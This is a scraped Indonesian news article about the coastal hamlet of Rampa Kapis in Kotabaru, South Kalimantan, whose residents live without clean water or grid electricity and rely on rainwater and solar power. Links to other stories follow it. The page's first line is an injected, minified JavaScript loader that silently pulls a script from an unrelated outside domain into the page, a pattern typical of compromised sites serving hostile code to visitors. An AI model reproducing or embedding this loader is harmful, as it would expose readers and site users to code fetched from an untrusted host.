(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU– Kondisi kampung pesisir Rampa Kapis, di Desa Batu Tunau, Kecamatan Pulau Laut Timur, Kabupaten Kotabaru, sampai saat ini cukup memprihatinkan.
Di wilayah yang berdiri bangunan rumah penduduk sebanyak 68 buah tersebut hingga kini belum tersentuh air bersih dan listrik.
Ketua RT 7, Desa Batu Tunau, Utuh, kepada wartawan Kanalkalimantan.com menjelaskan, kehidupan seperti ini mereka jalani sudah puluhan tahun. Untuk penerangan, mereka saat ini mengandalkan tenaga surya yang telah dibantu peralatannya dari pemerintah.
Sedangkan untuk keperluan air sehari-hari mereka menggantungkannya dari hujan yang turun, dan itu pun harus menggunakan talang air yang dialirkan ke tempat-tempat penampungan air di rumah penduduk, seperti tong air, drum dan tempat lainnya.
Baca juga: Sosok Mayat Laki-laki Ditemukan di Bantaran Sungai Depan Pelabuhan Darmais Tanbu
“Beginilah situasi dan kondisi di kampung kami. Selain berharap pada hujan kalaupun ingin mengambil air bersih harus ke Desa Batu Tunau di aliran sungai di daerah itu. Namun jaraknya yang lumayan jauh sekitar 3-4 kilometer terkadang hanya sebagian masyarakat saja yang berkenan,” terang Utuh, yang ketika ditemui dalam kondisi sakit.
Dikatakannya lebih jauh, untuk mengambil air ke sungai itu bukan tanpa kendala. Apalagi saat hujan maka akses jalannya rusak parah atau penuh lumpur, karena pada samping kiri kanannya adalah area tambak masyarakat.
“Jalan rusak tersebut berada di kampung kami, karena sebagian besarnya warga kami adalah nelayan dan petambak, kalau cuaca sedang panas maka jalannya akan mudah dilalui, hanya saja saat mengambil air kebanyakan dari kami hanya menggunakan sepeda motor roda dua memakai jerigen. Memang ada juga yang mengangkut airnya memakai mobil pick up hanya saja jarang,” jelasnya.
Belum lagi pada permasalahan listrik yang sekarang hanya menggunakan listrik tenaga surya yang hanya bisa dinikmati hingga tengah malam saja.
Baca juga: Mulai Gelar PTM, 124 Sekolah di Kabupaten Banjar Kembali Dibuka
“Sudah biasa sih kami dengan kondisi demikian, mau tidak mau harus dilalui setiap waktu,” imbuhnya.
Ia berharap, kampung Rampa Kapis menjadi perhatian pemerintah daerah mulai dari keperluan air bersih, akses jalan yang rusak dan soal penerangan. Karena secara tidak langsung kemajuan pembangunan belum terjamah sepenuhnya.
“Mudah-mudahan apa yang kami harapkan bisa terwujud sehingga masyarakat benar-benar merasa terbantu,” harapnya menutup. (kanalkalimantan.com/muhammad)
Reporter: muhammad
Editor: cell
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
This website uses cookies.